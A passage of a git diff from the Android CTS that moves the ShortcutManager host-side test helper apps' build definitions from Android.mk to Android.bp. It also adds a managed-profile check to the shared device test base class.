+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher3",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
deleted file mode 100644
index c8085bc..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher3
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
new file mode 100644
index 0000000..54fc458
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher4new",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
deleted file mode 100644
index f37f7f9..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
new file mode 100644
index 0000000..895d2e6
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher4new_nobackup",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
deleted file mode 100644
index 177b114..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nobackup/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nobackup
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
new file mode 100644
index 0000000..3b739fa
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher4new_nomanifest",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
deleted file mode 100644
index 730b497..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_nomanifest/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_nomanifest
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
new file mode 100644
index 0000000..ae33f42
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher4new_wrongkey",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+    certificate: ":cts-testkey1",
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
deleted file mode 100644
index 033b547..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4new_wrongkey/Android.mk
+++ /dev/null
@@ -1,48 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4new_wrongkey
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
new file mode 100644
index 0000000..1a8929e
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.bp
@@ -0,0 +1,41 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher4old",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+}
+
+android_library {
+    name: "CtsShortcutBackupPublisher4oldLib",
+    srcs: ["src/**/*.java"],
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
deleted file mode 100644
index 8a9462d..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old/Android.mk
+++ /dev/null
@@ -1,44 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
new file mode 100644
index 0000000..ce09a9c
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.bp
@@ -0,0 +1,32 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutBackupPublisher4old_nomanifest",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    static_libs: [
+        "CtsShortcutBackupPublisher4oldLib",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
deleted file mode 100644
index 082ef4c..0000000
--- a/hostsidetests/shortcuts/deviceside/backup/publisher4old_nomanifest/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher4old_nomanifest
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, ../publisher4old/src) \
-    $(call all-java-files-under, ../../common/src)
-
-LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/../publisher4old/res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/common/Android.bp b/hostsidetests/shortcuts/deviceside/common/Android.bp
new file mode 100644
index 0000000..ea69333
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/common/Android.bp
@@ -0,0 +1,9 @@
+java_library {
+    name: "hostsidetests-shortcuts-deviceside-common",
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.base.stubs",
+        "ShortcutManagerTestUtils",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java b/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
index f3fd238..da91a71 100644
--- a/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
+++ b/hostsidetests/shortcuts/deviceside/common/src/android/content/pm/cts/shortcut/device/common/ShortcutManagerDeviceTestBase.java
@@ -28,9 +28,12 @@
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.Icon;
 import android.os.UserHandle;
+import android.os.UserManager;
 import android.test.InstrumentationTestCase;
 import android.text.TextUtils;
 
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
 import java.util.List;
 
 /**
@@ -38,10 +41,13 @@
  */
 public abstract class ShortcutManagerDeviceTestBase extends InstrumentationTestCase {
     private ShortcutManager mManager;
+    private UserManager mUserManager;
     private LauncherApps mLauncherApps;
 
     private String mOriginalLauncher;
 
+    protected boolean mIsManagedUser;
+
     protected Context getContext() {
         return getInstrumentation().getTargetContext();
     }
@@ -53,12 +59,16 @@
         mOriginalLauncher = getDefaultLauncher(getInstrumentation());
 
         mManager = getContext().getSystemService(ShortcutManager.class);
+        mUserManager = getContext().getSystemService(UserManager.class);
         mLauncherApps = getContext().getSystemService(LauncherApps.class);
+
+        mIsManagedUser = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                mUserManager, UserManager::isManagedProfile);
     }
 
     @Override
     protected void tearDown() throws Exception {
-        if (!TextUtils.isEmpty(mOriginalLauncher)) {
+        if (!mIsManagedUser && !TextUtils.isEmpty(mOriginalLauncher)) {
             setDefaultLauncher(getInstrumentation(), mOriginalLauncher);
         }
 
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.bp b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
new file mode 100644
index 0000000..d20151e
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsShortcutMultiuserTest",
+    defaults: [
+        "cts_defaults",
+        "hostsidetests-shortcuts-deviceside-defaults",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
deleted file mode 100644
index 48b57c8..0000000
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ /dev/null
@@ -1,46 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# We build two APKs from the same source files, each with a different set of resources.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutMultiuserTest
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../common/src)
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
new file mode 100644
index 0000000..a0e435f
--- /dev/null
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
@@ -0,0 +1,49 @@
+// Copyright (C) 2016 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+// We build two APKs from the same source files, each with a different set of resources.
+android_test_helper_app {
+    name: "CtsShortcutUpgradeVersion1",
+    defaults: [
+        "hostsidetests-shortcuts-deviceside-defaults",
+        "cts_defaults",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["version1/res"],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsShortcutUpgradeVersion2",
+    defaults: [
+        "hostsidetests-shortcuts-deviceside-defaults",
+        "cts_defaults",
+    ],
+    // Tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+    srcs: ["src/**/*.java"],
+    resource_dirs: ["version2/res"],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
deleted file mode 100644
index 0de206f..0000000
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ /dev/null
@@ -1,83 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-# We build two APKs from the same source files, each with a different set of resources.
-
-# =================================
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion1
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../common/src)
-
-LOCAL_RESOURCE_DIR :=  $(LOCAL_PATH)/version1/res
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    androidx.test.rules \
-    androidx.legacy_legacy-support-v4 \
-    mockito-target-minus-junit4 \
-    compatibility-device-util-axt \
-    ctstestrunner-axt \
-    ub-uiautomator \
-    ShortcutManagerTestUtils
-
-LOCAL_JAVA_LIBRARIES := android.test.base.stubs
-
-LOCAL_SDK_VERSION := current
-
-include $(BUILD_CTS_PACKAGE)
-
-# =============================
-
-include $(CLEAR_VARS)
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion2
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src) \
-    $(call all-java-files-under, ../common/src)
-
-LOCAL_RESOURCE_DIR :=  $(LOCAL_PATH)/version2/res
-
